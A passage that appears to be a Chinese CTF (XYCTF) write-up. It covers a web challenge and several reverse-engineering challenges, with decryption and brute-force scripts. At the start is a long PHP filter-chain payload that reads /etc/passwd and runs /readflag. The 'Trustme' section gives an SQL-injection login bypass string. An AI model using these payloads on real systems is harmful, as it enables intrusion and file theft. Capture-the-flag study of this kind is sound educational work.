convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode/resource=/etc/passwd

然后利用/readflag读取就行了

?a=/readflag

我不理解,但我大受震撼这个方式()

Reverse:

聪明的信使

ida反编译后能直接看到

oujp{H0d_TwXf_Lahyc0_14_e3ah_Rvy0ac@wc!}

rot13编码,偏移量17

flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}

喵喵喵的flag碎了一地

根据程序给出的hint,收集flag

第一片Strings里直接能找到

flag{My_fl@g_h4s_

第二片是函数名

br0ken_4parT_

最后一片用cross reference子视图看(xref)

 
#include <stdio.h>

int main() {
    putchar(66);
    putchar(117);
    putchar(55);
    putchar(95);
    putchar(89);
    putchar(48);
    putchar(117);
    putchar(95);
    putchar(99);
    putchar(64);
    putchar(110);
    putchar(95);
}

Bu7_Y0u_c@n_

这里其实还有一些直接反编译成c后看不见的,我到后面才注意到,是直接操作asm了?好像ida没成功反编译

f1x_1t!}

拼接起来 flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}

你是真的大学生吗?

正如题目,考察的是汇编语言,16位dos程序

程序很短直接找比较的地方,逐字节比较的,提一下数据,整个逻辑也不难

 
#include <stdio.h>

int main()
{
    unsigned char data[20] = {
    0x76, 0x0E, 0x77, 0x14, 0x60, 0x06, 0x7D, 0x04, 0x6B, 0x1E, 0x41, 0x2A, 0x44, 0x2B, 0x5C, 0x03, 
    0x3B, 0x0B, 0x33, 0x05,
};
    for(int i=0; i < 19;i++) {
            printf("%c",data[i] ^ data[i+1]);
    }
   return 0;
}

DebugMe

  1. 正常打开时

用jadx下断点,adb调试,断点位置为 “flag呢”

然后点击clickme,就会弹出来flag

ez_rand

伪代码给的有问题,分析汇编代码

如果你看不懂汇编没关系,我这里把他变成了python代码,而且命名基本上是汇编命名。

 
def enc(i):
        eax = i
        r8 = eax
        eax = 0x80808081
        edx = ((2155905153*i)>>32)>>7
        ecx = edx
        ecx = ecx >> 0x1f
        edx = edx + ecx
        ecx = edx * 0xff
        r8 = i - ecx
        return r8

def check(i,data):
    r8 = enc(i)
    if r8 == data:
        return True
    else:
        return False

check中传的两个参数i是生成的随机数,data是flag[i] ^ data[i]的值

那我们的目的就是搞明白随机数是多少,我们发现随机数是srand的time64随机数种子

因此就要爆破时间戳

但是注意这里有个坑

这里并非直接调用srand(time64(0))

而是中间用了个

movzx ecx,ax;

实际上就是保留了低16位

即真正的随机数种子是time64(0)&0xff

随机数种子是什么我们解决了,那么我们接下来就是要进行明文攻击,因为我们知道flag的前5位是XYCTF,data也知道,那么我们就可以利用check函数来爆破对应的随机数种子。

 
for time in range(0xffff):
        rand = getRandTime(time,5) # 这里的getRandTime是一个假定存在的函数,给定一个随机数种子time,和一个n,返回前n的随机数的值所组成的列表
        flag = True
        for i,j in zip(rand,[ord(elem)^data[pos] for pos,elem in enumerate("XYCTF")]):
                if not check(i,j):
                        flag = False
        if flag:
                print(rand,time)

最后一个问题,srand函数从哪调用,你当然可以用C来写脚本,但是我们这里玩点不一样的

我们知道,cpp是python的底层,我们不妨就用Cpython来写写玩

关于cpython的东西我这里不细说,做一些基础性解释,首先是Python.h头文件,我不会配置,直接复制粘贴扔进gcc内置库里边了(又不是不能用)

 
#include<stdio.h>
#include<Python.h>
#include <ctime>

PyObject* getRandTime(long num, long length, PyObject* list){
    PyObject* PyInt = PyLong_FromLong(num);
    srand(num);
    for(int i=0;i < length;i++){
        long Pyrand = (long)rand();
        //printf("rand: %ld\n",(long)num);
        PyObject* rands = PyLong_FromLong(Pyrand);
        if(PyList_Append(list,rands) == -1){return NULL;};
    }
    return list;
}
 
//作用,接受python传的值,将结果计算后转为Python对象返回给python
//返回类型PyObject*,函数名:模块名_函数名
static PyObject *Extest_getRandTime(PyObject *self,PyObject *args){
    long num,length;
    if(!(PyArg_ParseTuple(args,"ii",&num,&length))){
        return NULL;
    }
    PyObject* list = PyList_New(NULL);//创建一个空列表
    return (PyObject*)getRandTime(num, length, list);
}
 
//为每个模块增加PyMethodDef ModuleMethods[]数组
static PyMethodDef ExtestMethods[] = {
    {"getRandTime",Extest_getRandTime,METH_VARARGS},
    {NULL,NULL},
};
 
static struct PyModuleDef ExtestModule = {
    PyModuleDef_HEAD_INIT,
    "Extest",
    NULL,
    -1,
    ExtestMethods
};
 
void PyInit_Extest(){
    PyModule_Create(&ExtestModule);
}

关于更多的内部细节,可以看文档

https://docs.python.org/zh-cn/3.8/c-api/index.html

总之,我们写完之后把这个文件名命名为cpp.cpp

然后新建一个setup.py,里边写入

 
from distutils.core import setup,Extension
 
MOD = 'Extest' #模块名必须与文件函数相照应
setup(name=MOD,ext_modules=[Extension(MOD,sources=['cpp.cpp'])]) #源文件名是刚刚那个cpp的名称

最后确保你有msvc环境的前提下(貌似gcc环境也可以,没试过,但我用的cl.exe编译的),在命令行输入

 
python setup.py build && python setup.py install

会报waring,但是会编译成功

然后我们就可以在python里边import Extest了

 
from Extest import getRandTime

data = [0x5d,0x0c,0x6c,0xea,0x46,0x19,0xfc,0x34,0xb2,0x62,0x23,0x07,0x62,0x22,0x6e,0xfb,0xb4,0xe8,0xf2,0xa9,0x91,0x12,0x21,0x86,0xdb,0x8e,0xe9,0x43,0x4d]

def enc(i):
        eax = i
        r8 = eax
        eax = 0x80808081
        edx = ((2155905153*i)>>32)>>7
        ecx = edx
        ecx = ecx >> 0x1f
        edx = edx + ecx
        ecx = edx * 0xff
        r8 = i - ecx
        return r8

def check(i,data):
    r8 = enc(i)
    if r8 == data:
        return True
    else:
        return False

def crack():
    for time in range(0xffff):
            rand = getRandTime(time,5) 
            flag = True
            for i,j in zip(rand,[ord(elem)^data[pos] for pos,elem in enumerate("XYCTF")]):
                    if not check(i,j):
                            flag = False
            if flag:
                    print(rand,time)
                    return time

 time = crack()
 key = getRandTime(time,32)
 for pos,elem in enumerate(data):
     print(chr(enc(key[pos]) ^ elem),end="")
 

XYCTF{R@nd_1s_S0_S0_S0_easy!}

Trustme

public static int image = 0x7f0800d8;

        public static int loginbutton = 0x7f0800ed;

        public static int password = 0x7f080148;

        public static int username = 0x7f0801dc

万能密码 秒了 一眼sql注入()

a' or 'a'='a'--

这边代码逻辑也比较简单

ezcube

其实没多难,主要就是看程序逻辑,程序没有找到入口点需要修复一下,有6个面,然后将蓝面的中上块赋值了。

emmm,看下图吧

就是这个意思,没显示出来的那个绿面中间是个蓝色

然后用这个CFOP公式就OK了

其中带引号的表示逆旋转,也就是题目中的小写

数了一下恰好12个

RuRURURuruRR

套上flag就可以交,注意这题是flag{}头

baby_unity

https://github.com/Perfare/Il2CppDumper/

先upx脱壳GameAssembly.dll,之后用上面的dumper反编译

反编译后使用ida打开脱壳后的dll,之后在ida执行dumper中的ida_with_struct_py3.py脚本进行符号表修复

我这里修复前用ilspy打开Assembly-CSharp.dll看了下类方法,其实这里可以省略直接去看ida的函数表

关键的地方是这个函数

加密方式是把字符串base64编码之后每个字符与0xF进行与或

dec.py

 
from base64 import b64decode

enc = b"XIcKYJU8Buh:UeV:BKN{U[JvUL??VuZ?CXJ;AX^{Ae]gA[]gUecb@K]ei^22"
dec = ""
for c in enc:
    dec += chr(c ^ 0xF)
print(b64decode(dec))

跑一下就有结果

砸核桃

脱壳

脱完扔ida

逻辑很简单

key = "this_is_not_flag"
data = [0x00000012, 0x00000004, 0x00000008, 0x00000014, 0x00000024, 0x0000005C, 0x0000004A, 0x0000003D, 0x00000056, 0x0000000A, 0x00000010, 0x00000067, 0x00000000, 0x00000041, 0x00000000, 0x00000001, 0x00000046, 0x0000005A, 0x00000044, 0x00000042, 0x0000006E, 0x0000000C, 0x00000044, 0x00000072, 0x0000000C, 0x0000000D, 0x00000040, 0x0000003E, 0x0000004B, 0x0000005F, 0x00000002, 0x00000001, 0x0000004C, 0x0000005E, 0x0000005B, 0x00000017, 0x0000006E, 0x0000000C, 0x00000016, 0x00000068, 0x0000005B, 0x00000012, 0x00000000, 0x00000000, 0x00000048]

print("".join([chr(ord(key[pos%16])^elem) for pos,elem in enumerate(data)]))

何须相思煮余年

上边的16进制解析成hex后用ida打开

解析可以用cyberchef

点击红框里边的可以保存为文件

将下载下来的文件用ida(不是ida64)打开,用32位程序识别

从你看到的第一个汇编指令开始到最后一个汇编指令,选中他们,并按下P键,将他们构造为一个函数

然后F5

得到这样一个函数的反汇编

+-*^在R上可逆

直接做逆运算就行

 
enc = [88,88,134,87,74,118,318,101,59,92,480,60,65,41,770,110,73,31,918,39,120,27,1188,47,77,24,1352,44,81,23,1680,46,85,15,1870,66,91,16,4750]

for pos,elem in enumerate(enc):
        if pos % 4 == 0:
                print(chr(elem-pos),end="")
        elif pos % 4 == 1:
                print(chr(elem+pos),end="")
        elif pos % 4== 2:
                print(chr((elem//pos)&0xff),end="")
        elif pos % 4 == 3:
                print(chr(elem^pos),end="")

ez_math

预期中的非预期...难绷

python反编译这里就不说了,太简单了,总之就是让下边这个式子等于 -297412

 

sum([flag[23] for _ in range(flag[23])]) + sum([flag[12] for _ in range(flag[12])]) + sum([flag[1] for _ in range(flag[1])]) - sum([flag[24] for _ in range(222)]) + sum([flag[22] for _ in range(flag[22])]) + sum([flag[31] for _ in range(flag[31])]) + sum([flag[26] for _ in range(flag[26])]) - sum([flag[9] for _ in range(178)]) - sum([flag[29] for _ in range(232)]) + sum([flag[17] for _ in range(flag[17])]) - sum([flag[23] for _ in range(150)]) - sum([flag[6] for _ in range(226)]) - sum([flag[7] for _ in range(110)]) + sum([flag[19] for _ in range(flag[19])]) + sum([flag[2] for _ in range(flag[2])]) - sum([flag[0] for _ in range(176)]) + sum([flag[10] for _ in range(flag[10])]) - sum([flag[12] for _ in range(198)]) + sum([flag[24] for _ in range(flag[24])]) + sum([flag[9] for _ in range(flag[9])]) - sum([flag[3] for _ in range(168)]) + sum([flag[8] for _ in range(flag[8])]) - sum([flag[2] for _ in range(134)]) + sum([flag[14] for _ in range(flag[14])]) - sum([flag[13] for _ in range(170)]) + sum([flag[4] for _ in range(flag[4])]) - sum([flag[10] for _ in range(142)]) + sum([flag[27] for _ in range(flag[27])]) + sum([flag[15] for _ in range(flag[15])]) - sum([flag[15] for _ in range(224)]) + sum([flag[16] for _ in range(flag[16])]) - sum([flag[11] for _ in range(230)]) - sum([flag[1] for _ in range(178)]) + sum([flag[28] for _ in range(flag[28])]) - sum([flag[5] for _ in range(246)]) - sum([flag[17] for _ in range(168)]) + sum([flag[30] for _ in range(flag[30])]) - sum([flag[21] for _ in range(220)]) - sum([flag[22] for _ in range(212)]) - sum([flag[16] for _ in range(232)]) + sum([flag[25] for _ in range(flag[25])]) - sum([flag[4] for _ in range(140)]) - sum([flag[31] for _ in range(250)]) - sum([flag[28] for _ in range(150)]) + sum([flag[11] for _ in range(flag[11])]) + sum([flag[13] for _ in range(flag[13])]) - sum([flag[14] for _ in range(234)]) + sum([flag[7] for _ in range(flag[7])]) - sum([flag[8] for _ in range(174)]) + sum([flag[3] for _ in range(flag[3])]) - sum([flag[25] for _ in range(242)]) + sum([flag[29] for _ in range(flag[29])]) + sum([flag[5] for _ in range(flag[5])]) - sum([flag[30] for _ in range(142)]) - sum([flag[26] for _ in range(170)]) - sum([flag[19] for _ in range(176)]) + sum([flag[0] for _ in range(flag[0])]) - sum([flag[27] for _ in range(168)]) + sum([flag[20] for _ in range(flag[20])]) - sum([flag[20] for _ in range(212)]) + sum([flag[21] for _ in range(flag[21])]) + sum([flag[6] for _ in range(flag[6])]) + sum([flag[18] for _ in range(flag[18])]) - sum([flag[18] for _ in range(178)])

先说我的解法

分析发现,sum(flag[i] for _ in range(flag[i])),就是x个x相加,也就是x*x

然后再减去y个x(找规律看出来的正负号)

上边的式子太辣眼了,我们把他分解出来

data = "sum([flag[23] for _ in range(flag[23])]) + sum([flag[12] for _ in range(flag[12])]) + sum([flag[1] for _ in range(flag[1])]) - sum([flag[24] for _ in range(222)]) + sum([flag[22] for _ in range(flag[22])]) + sum([flag[31] for _ in range(flag[31])]) + sum([flag[26] for _ in range(flag[26])]) - sum([flag[9] for _ in range(178)]) - sum([flag[29] for _ in range(232)]) + sum([flag[17] for _ in range(flag[17])]) - sum([flag[23] for _ in range(150)]) - sum([flag[6] for _ in range(226)]) - sum([flag[7] for _ in range(110)]) + sum([flag[19] for _ in range(flag[19])]) + sum([flag[2] for _ in range(flag[2])]) - sum([flag[0] for _ in range(176)]) + sum([flag[10] for _ in range(flag[10])]) - sum([flag[12] for _ in range(198)]) + sum([flag[24] for _ in range(flag[24])]) + sum([flag[9] for _ in range(flag[9])]) - sum([flag[3] for _ in range(168)]) + sum([flag[8] for _ in range(flag[8])]) - sum([flag[2] for _ in range(134)]) + sum([flag[14] for _ in range(flag[14])]) - sum([flag[13] for _ in range(170)]) + sum([flag[4] for _ in range(flag[4])]) - sum([flag[10] for _ in range(142)]) + sum([flag[27] for _ in range(flag[27])]) + sum([flag[15] for _ in range(flag[15])]) - sum([flag[15] for _ in range(224)]) + sum([flag[16] for _ in range(flag[16])]) - sum([flag[11] for _ in range(230)]) - sum([flag[1] for _ in range(178)]) + sum([flag[28] for _ in range(flag[28])]) - sum([flag[5] for _ in range(246)]) - sum([flag[17] for _ in range(168)]) + sum([flag[30] for _ in range(flag[30])]) - sum([flag[21] for _ in range(220)]) - sum([flag[22] for _ in range(212)]) - sum([flag[16] for _ in range(232)]) + sum([flag[25] for _ in range(flag[25])]) - sum([flag[4] for _ in range(140)]) - sum([flag[31] for _ in range(250)]) - sum([flag[28] for _ in range(150)]) + sum([flag[11] for _ in range(flag[11])]) + sum([flag[13] for _ in range(flag[13])]) - sum([flag[14] for _ in range(234)]) + sum([flag[7] for _ in range(flag[7])]) - sum([flag[8] for _ in range(174)]) + sum([flag[3] for _ in range(flag[3])]) - sum([flag[25] for _ in range(242)]) + sum([flag[29] for _ in range(flag[29])]) + sum([flag[5] for _ in range(flag[5])]) - sum([flag[30] for _ in range(142)]) - sum([flag[26] for _ in range(170)]) - sum([flag[19] for _ in range(176)]) + sum([flag[0] for _ in range(flag[0])]) - sum([flag[27] for _ in range(168)]) + sum([flag[20] for _ in range(flag[20])]) - sum([flag[20] for _ in range(212)]) + sum([flag[21] for _ in range(flag[21])]) + sum([flag[6] for _ in range(flag[6])]) + sum([flag[18] for _ in range(flag[18])]) - sum([flag[18] for _ in range(178)])"

temp = data.split(" + ")
final = []

for i in range(32):
        print(i)
        final = []
        for j in temp:
                t = j.split(" - ")
                final.extend(t)
        for k in final:
                if f"flag[{i}]" in k:
                        print(k)

自己跑,我们截取前五个来看

0

sum([flag[0] for _ in range(176)])

sum([flag[0] for _ in range(flag[0])])

1

sum([flag[1] for _ in range(flag[1])])

sum([flag[1] for _ in range(178)])

2

sum([flag[2] for _ in range(flag[2])])

sum([flag[2] for _ in range(134)])

3

sum([flag[3] for _ in range(168)])

sum([flag[3] for _ in range(flag[3])])

4

sum([flag[4] for _ in range(flag[4])])

sum([flag[4] for _ in range(140)])

5

sum([flag[5] for _ in range(246)])

sum([flag[5] for _ in range(flag[5])])

意外发现,$$\frac{176}{2} = 88$$,chr(88) = 'X'

178/2 = 89,chr(89) = 'Y'

手动提出来各个值即可

下边说一下预期解:

分析发现

(x_i-a_i)^2 =x_i^2 - 2a_ix_i + a_i^2

我们不妨让b_i = 2a_i

如果能够舍去后边的$$a_i^2$$的话,那么一切都是那么的完美

xi就是我们的flag[i]

bi就是我们range里边的值

而题目为\sum_{i=0}^{n-1}(x_i - a_i)^2 - \sum_{j=0}^{n-1}a_j^2 + 297412 = 0

这题已知有解,因此这一项必定为0

同时因为没有前边的二次方项,因此前边的二次方也为0

即x_i = a_i

那么range中的值就是a_i的2倍,而如果后边相消,x_i=a_i

即得flag

What's this

使用file指令侦测出来是lua字节码文件,用unluac反编译

 
      
function f(s)
  local l = string.len(s)
  
  local i = math.random(0, l - 1)
  local r = ""
  for c in string.gmatch(s, ".") do
    r = r .. string.char(string.byte(c) + i % 10)
  end
  return string.reverse(r)
end

function g(s)
  local l = string.len(s)
  local i = math.random(0, l - 1)
  local r = ""
  for c in string.gmatch(s, ".") do
    r = r .. string.char(string.byte(c) - i % 10)
  end
  return string.reverse(r)
end

function c(s)
  local l = string.len(s)
  local i = math.random(0, l - 1)
  local r = ""
  for c in string.gmatch(s, ".") do
    r = r .. string.char(string.byte(c) - i % 10)
  end
  return string.reverse(r)
end

function b(x)
  return string.format("%b", x)
end

function h(x)
  return string.format("%x", x)
end

function d(x)
  return tonumber(x, 2)
end

function w()
  return os.time()
end

function m(a, b)
  if os.time() % 2 == 0 then
    return a * b
  else
    return a + b
  end
end

function n(a, b)
  if b ~= 0 then
    return a / b
  else
    return a
  end
end

function q(a, b)
  if b ~= 0 then
    return math.floor(a / b)
  else
    return a
  end
end

function o(a, b)
  return a ^ b
end

function t(a, b)
  if b ~= 0 then
    return a % b
  else
    return a
  end
end

function e(a, b)
  return a == b
end

function u(a, b)
  return a ~= b
end

function v(a, b)
  return b < a
end

function j(a, b)
  return a < b
end

function k(a, b)
  return b <= a
end

function z(a, b)
  return a <= b
end

function x(a)
  return math.abs(a)
end

function y(a)
  return string.len(tostring(a))
end

function s(a, b)
  return tostring(a) .. tostring(b)
end

function t(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function b(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function n(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function m(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return b
    else
      return a
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function t(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function b(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function t(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function s(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

flag = io.read()

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return f(a)
    else
      return g(b)
    end
  end, s)
end

function s(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function m(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function a(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function f(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function g(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function h(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return s(a)
    else
      return f(b)
    end
  end, s)
end

function b(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return a
    else
      return b
    end
  end, s)
end

function x(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return m(a)
    else
      return n(b)
    end
  end, s)
end

function y(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return x(a)
    else
      return y(b)
    end
  end, s)
end

function q(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return d(a)
    else
      return q(b)
    end
  end, s)
end

function d(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return w(a)
    else
      return w(b)
    end
  end, s)
end

function w(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return t(a)
    else
      return p(b)
    end
  end, s)
end

function p(s)
  return r(function(a, b)
    if math.random() > 0.5 then
      return h(a)
    else
      return g(b)
    end
  end, s)
end

function t(s)
